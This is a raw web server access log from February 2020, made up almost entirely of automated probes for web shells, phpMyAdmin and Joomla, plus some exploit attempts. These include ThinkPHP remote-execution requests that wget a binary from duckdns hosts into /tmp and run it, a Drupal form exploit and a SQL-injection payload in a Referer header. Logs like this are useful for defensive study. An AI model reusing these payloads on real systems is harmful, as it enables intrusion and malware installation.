49.235.202.182 - - [16/Feb/2020:14:37:11 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:11 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:11 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:11 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:20 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:20 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:21 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:22 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:23 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:24 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:25 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:25 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:26 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:26 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:27 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:27 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:27 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:28 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:29 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:30 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:30 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:30 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:30 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0"
212.91.246.72 - - [16/Feb/2020:14:37:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.202.182 - - [16/Feb/2020:14:37:51 +0100] "POST /xw.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0"
112.171.93.177 - - [16/Feb/2020:14:38:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.235.202.182 - - [16/Feb/2020:14:38:19 +0100] "POST /9678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0"
42.51.225.120 - - [16/Feb/2020:14:38:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
78.186.137.112 - - [16/Feb/2020:14:38:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [16/Feb/2020:14:38:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.202.182 - - [16/Feb/2020:14:38:54 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0"
42.51.225.120 - - [16/Feb/2020:14:39:09 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
42.51.225.120 - - [16/Feb/2020:14:39:12 +0100] "POST /Admin58f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
49.235.202.182 - - [16/Feb/2020:14:39:19 +0100] "POST /s.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0"
42.51.225.120 - - [16/Feb/2020:14:39:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
212.91.246.72 - - [16/Feb/2020:14:39:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.202.182 - - [16/Feb/2020:14:39:54 +0100] "GET /%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
49.235.202.182 - - [16/Feb/2020:14:39:57 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
49.235.202.182 - - [16/Feb/2020:14:39:58 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
42.51.225.120 - - [16/Feb/2020:14:39:58 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
42.51.225.120 - - [16/Feb/2020:14:39:59 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
49.235.202.182 - - [16/Feb/2020:14:39:59 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
49.235.202.182 - - [16/Feb/2020:14:39:59 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
42.51.225.120 - - [16/Feb/2020:14:40:02 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
42.51.225.120 - - [16/Feb/2020:14:40:09 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
49.235.202.182 - - [16/Feb/2020:14:40:26 +0100] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
42.51.225.120 - - [16/Feb/2020:14:40:46 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
212.91.246.72 - - [16/Feb/2020:14:40:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.202.182 - - [16/Feb/2020:14:40:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
42.51.225.120 - - [16/Feb/2020:14:41:21 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
49.235.202.182 - - [16/Feb/2020:14:41:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
212.91.246.72 - - [16/Feb/2020:14:41:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.202.182 - - [16/Feb/2020:14:41:50 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
42.51.225.120 - - [16/Feb/2020:14:42:00 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
49.235.202.182 - - [16/Feb/2020:14:42:14 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
42.51.225.120 - - [16/Feb/2020:14:42:40 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
49.235.202.182 - - [16/Feb/2020:14:42:45 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
212.91.246.72 - - [16/Feb/2020:14:42:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.202.182 - - [16/Feb/2020:14:43:10 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
42.51.225.120 - - [16/Feb/2020:14:43:18 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
49.235.202.182 - - [16/Feb/2020:14:43:34 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\"id\";s:3:\"'/*\";s:3:\"num\";s:141:\"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
49.235.202.182 - - [16/Feb/2020:14:43:35 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:35 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:35 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:36 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:37 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:38 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:38 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:38 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:38 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:39 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:39 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:40 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:40 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:40 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:41 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:42 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:42 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:43 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:43 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:44 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:44 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:44 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:44 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:45 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:45 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:46 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:46 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:46 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:46 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:47 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:47 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:47 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:47 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:48 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:48 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:48 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:49 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
212.91.246.72 - - [16/Feb/2020:14:43:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.202.182 - - [16/Feb/2020:14:43:49 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:49 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:50 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:50 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:50 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:51 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
42.51.225.120 - - [16/Feb/2020:14:43:51 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
42.51.225.120 - - [16/Feb/2020:14:43:53 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:43:53 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:43:54 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:43:54 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
42.51.225.120 - - [16/Feb/2020:14:43:55 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:43:56 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:43:57 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:43:58 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:43:58 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:59 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:59 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:43:59 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
42.51.225.120 - - [16/Feb/2020:14:43:59 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
